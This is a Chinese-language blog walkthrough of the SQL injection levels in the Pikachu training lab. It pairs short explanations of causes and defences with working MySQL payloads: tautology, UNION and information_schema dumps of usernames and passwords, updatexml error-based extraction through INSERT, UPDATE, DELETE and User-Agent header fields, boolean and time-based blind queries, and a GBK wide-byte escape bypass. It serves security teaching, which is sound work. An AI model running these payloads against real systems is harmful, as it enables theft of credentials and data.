Pikachu:SQL Inject(SQL注入)


简介

  在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
  1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
  2.使用参数化(Parameterized Query 或 Parameterized Statement);
  3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

攻击流程:

  1.  注入点探测

  自动方式:使用web漏洞扫描工具,自动进行注入点发现

  手动方式:手工构造sql inject测试语句进行注入点发现

  2.  信息获取

  通过注入点取得期望得到的数据

        1.  环境信息:数据库类型,数据库版本,操作系统版本,用户信息等

        2.  数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

        3.  获取权限       获取操作系统权限:通过数据库执行shell,上传木马

  Get型数据中,使用url提交注入数据;post数据中,使用抓包工具(一般为Burp Suite)修改post数据部分提交注入,可以参考我前面的Sqli-labs博客,联合查询部分几乎都是URL,使用抓包工具的post类型可以从暴力破解部分寻找。

数字型注入(post)

  我们进入本节页面,先做代理,因为这是post型,所以需要抓包,在下拉菜单中选择任意数字,点击查询:

   数据在Burp Suite中被抓到,发送到repeater里:

  修改id后面给他增加sql语句(在图中选中部分增加or 1=1),然后点击Go,右边的Response会出现结果,选择到Render,下拉后发现,页面返回来所有的数据信息:

  我们来看一下源码,发现post请求直接把id带入到sql语句中,没有做任何处理,所以在id这里存在sql注入漏洞(路径如下):

字符型注入(get)

  进入页面,我们这里输入Kobe,然后返回结果:

   当然,字符型Sql的漏洞,我们当然要在注入语句上做文章,寻找注入点然后闭合,在注入点进行闭合,然后点击查询,发现数据都爆出来了:

  Kobe' or 1=1#

搜索型注入

  我们进入页面,发现其实这是个模糊查询,所有满足输入字段的用户名都会弹出,输入一个l,我们看看结果:

   这种模糊查询,在SQL语句中也能实现,事实上使用了“like”来实现,我们查看源码来求证,语句应该是:

  select username,id,email from member where username like '%$name%'

  和字符型注入一样,我们尝试在注入点注入,这里我们可以用 xxx%’ or 1=1#,xxx就是输入的名字,其实这里无关紧要,输入l也可以,其他的也可以,输入发现用户名信息都爆出来了:

   l%’ or 1=1#

xx型注入

  【因为要求,所以我这里把我的本地的ip从192.168.1.4,改为了192.168.11.1】

  我们先进入页面,还是输入lili,然后发现回显结果与字符型注入差不多:

   经过尝试发现只是数据注入点包裹方式不同而已,现在的包裹方式是a') ,所以还是用or 1=1然后闭合,就可以爆出数据了,最前面的那个字母随便一个都可以:

  l') or 1=1#

小结:我们在这里其实只是简单的把信息爆出来而已,细致的进行还需要使用各种查询语句,比如联合查询,报错注入的方式,都是可以的,这里我们只把语句放出来,具体语句的含义,可以参考我的Sqli-labs的博客,里面有详细的解释:

联合查询(使用union语句):

  猜字段数:

  a')  order by 3#(更改数值,如回显正常即为成功,这里其实是2)

  查当前数据库:pikachu

  a')  union select database(),2#

  查表

  a') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

  查询users表中的字段名:

  a') union select table_name,column_name from information_schema.columns where table_name='users'#(太多了就放出一部分吧)

   查用户名和密码:

  a')  union select username,password from users#

报错注入:

  这里需要多说一句,如果后台阻止报错信息的输出,那这种方式就行不通了。因为你看不到报错信息,更谈不上从中获取信息了,我们报错的核心就在于updatexml()、exactvalue()、 floor()这三个函数的格式报错,这三个函数也是我们的常用函数,通过它对语法格式的报错来得到信息,在内部嵌入select语句(这里用xx型注入演示):

查当前数据库:

  a') and updatexml(1,concat(0x7e,database()),0)#

   然后查库查表查字段之类的,就是把上面的语句中的database()替换为select语句即可,换句话说,里面其实就是联合查询的内容,需要注意的是,报错注入显示的内容一次只能显示一行,所以需要用limit字段限制输出的行列,这里不再赘述,直接放出最后爆出用户名和密码的语句:

  a') and updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)#

“insert/update”注入

insert:

  这一关是使用insert语句来注入,不是select语句了。insert into 语句用于向表格中插入新的行,我们来看看语法:

语法结构

   INSERT INTO 表名称 VALUES (值1, 值2,....)

  我们也可以指定所要插入数据的列:

  INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

  插入新的行

  INSERT INTO Persons VALUES ('Gates', 'Bill', 'Xuanwumen 10', 'Beijing')

  在指定的列中插入数据

  INSERT INTO Persons (LastName, Address) VALUES ('Wilson', 'Champs-Elysees')


简而言之,insert into后面是要插入的数据库名称,value后面是插入的具体数据。
进入页面,然后点击注册,因为我们入侵的话是没有符合规则的用户名密码的:

   我们看到这里有两个必填项,不能为空,所以在用户名构造报错注入的语句,在密码处随便输入一下,我这里是123,我们先看看基本的语句:

  insert into member(username,pw,sex,phonenum,email,address)values(‘a’,50,1,2,3,4);

  有了上面开头的内容,我们很容易就能够理解这个语句的含义,插入一个名叫member的数据库,它里面有username,pw,sex,phonenum,email,address这几个字段,对应插入的数值分别是‘a’,50,1,2,3,4。然后我们看看insert的SQL报错注入语句如何构造(其实没啥区别):

  l'or updatexml(1,concat(0x7e,database()),0)or '(很明显这是一个查当前数据库的语句)

   其他其实差不多,语句没啥区别,就是把database(),替换为联合查询的select语句即可完成,这里只放出最后的语句:

  lh' or  updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)  or '

update:

  update语句用于修改表中的数据,我们还是来看看它的语法结构:

    UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值

  更新某一行中的一个列

    我们为 lastname 是 "Wilson" 的人添加 firstname:

    UPDATE Person SET FirstName = 'Fred' WHERE LastName = 'Wilson' 

  更新某一行中的若干列

    我们会修改地址(address),并添加城市名称(city):

    UPDATE Person SET Address = 'Zhongshan 23', City = 'Nanjing'
    WHERE LastName = 'Wilson'

  很明显update后选择表,然后set字段是设置修改的参数列名,最后用where来限定修改哪一条件字段的数据。语句其实与上面insert的相同,不再赘述:

  lh' or  updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)  or '

“delete”注入

  顾名思义,当然是删除的时候产生的注入咯,事实上DELETE 语句用于删除表中的行,我们还是来看看语法的结构:

  DELETE FROM 表名称 WHERE 列名称 = 值

  这个一眼就很明了了,删除在某一个表中的列名为某个值的那一行,通过列名来确定行的位置。我们进入页面,输入123456,点击submit,发现完成存储:

   设置代理,使用Burp Suite抓包,点击删除,然后抓到包:

   发送到Repeater,然后改包,将id后面的数字改成下面的语句(这是最终的语句,其他语句可以参考上面的内容,不再赘述),要注意的一点是,由于是get的类型的,在payload记得进行url编码:

  id= 1 or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)

 

   点击Go,右边拉到最下方,可以看到报错信息:

“http header”注入

  HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些资料,比如useragent、accept字段等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。

  进入页面,然后进行登录:admin/123456

   通过登录进去的信息我们可以猜测,这个后端是不是对http header里面的数据进行了获取,应该也进行了相关数据库的操作,所以做个代理,抓包来看看,打开Burp Suite,然后点击“点击退出”:

  然后还是照旧发送到Repeater,并修改user-agent    将信息改为:

  firefox'or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1) or '

  这里的语句还是最终的语句,具体细节参考上面。

   把右边下拉到最下面,发现报错,爆出了用户名和密码:

布尔盲注(base on boolian)

  实质就是利用字符的ascii码进行比对,看回显结果,回显正确则一步步缩小范围,最后确认数据库的名字,最终可以爆破出用户名和密码,但是过于繁琐,这里给出语句和截图:

  回显成功:

  lili' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )<112#

   回显失败:

  lili' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )>112#

时间盲注(base on time)

  时间盲注与布尔盲注的区别,布尔盲注是根据回显结果正确与否来判断ascii码的范围,时间盲注不一样,它用if语句做判断,通过 database 把数据库名称取出来,通过 substr 把数据库第一个字符取出来,和字符作比较,如果相同就立即返回,如果不同就延迟5秒钟再返回。这里放出一条语句示例,不再赘述:  

  lili' and if((substr(database(),1,1))='a',sleep(5),null )#

宽字节注入

  宽字节注入其实是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。

  最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后在十六进制前面加%即可,即为%81,另外可以直接记住GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),则尾字节会被吃,如转义符号\对应的编码0×5C!另外简单提一下,GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。

  具体的内容可以参考我的博客Sqli-labs的宽字节注入部分。

涉及到的一些概念

字符、字符集与字符序

  字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

  字符序(collation)指同一字符集内字符间的比较规则。

UTF8

  由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

宽字节

  GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

  我们进入页面,构造语句,在'(单引号)前面加一个%df,做一个代理,点击查询,抓包:

   lili %df' or 1=1#

   因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF即可。

相关